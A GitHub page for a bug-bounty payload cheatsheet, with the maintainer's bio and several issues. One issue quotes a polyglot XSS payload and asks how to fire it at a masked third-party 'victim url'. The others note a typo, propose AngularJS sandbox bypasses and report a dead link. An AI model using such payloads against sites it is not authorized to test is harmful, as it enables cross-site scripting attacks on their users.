edoverflow / bugbounty-cheatsheet

A list of interesting payloads, tips and tricks for bug bounty hunters.

Hi 👋

I am a web designer, developer, security researcher, and have experience triaging for numerous vulnerability disclosure programmes.

In 2016, I joined Gratipay’s Blue Team where I operated their bug bounty programme. Subsequently, in 2018, I joined HackerOne as a Security Analyst. While at HackerOne, I had the privilege of triaging in-person alongside organisations such as GitHub, Salesforce, and the United States Marine Corps.

Currently, I am a Senior Pentester at Cure53, where I use my expertise to help clients strengthen their security posture by conducting security audits and source code reviews.

Outside of work, I enjoy staying active and maintaining a strong dedication to swimming, honed during my time as a student on the University of Warwick’s Sports Scholarship programme.

---

edoverflow.com • LinkedIn

bugbounty-cheatsheet's Issues

help me please!

hello bro... i need help... i did look your document... i did find xss exploit in your documents..

jaVasCript:/-//*\/'/"/**/(/* */oNcliCk=alert("this is test") )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

i am using chrome. i am write this exploit in chrome developer , i can see xss alert...

How do I run this url in the url without the chrome developer ??

victim url : https://www.xxx.xxx/xxx/some.js (How can I place xss exploit in this URL?)

I do it this way but xss doesn't give warning message :

https://www.xxx.xxx/xxx/some.js?jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert("this is test") )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

https://www.xxx.xxx/xxx/some.js#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert("this is test") )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

https://www.xxx.xxx/xxx/some.js/jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert("this is test") )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

please help me... this is very important for me

Typo in line 3 of README

"Sepcial Tools" should read "Special Tools"

Bug hunting

Adding AngularJS template injection (sandbox bypasses)

It would be nice to add AngularJS-related things from the end of the http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html article. I'm not sure, in which category we should put it (XSS, Template Injection, or make separate)

this link is no more worked, their domain name is expired http://www.evilsql.com/main/index.php

this link is no more worked, their domain name is expired remove it from list http://www.evilsql.com/main/index.php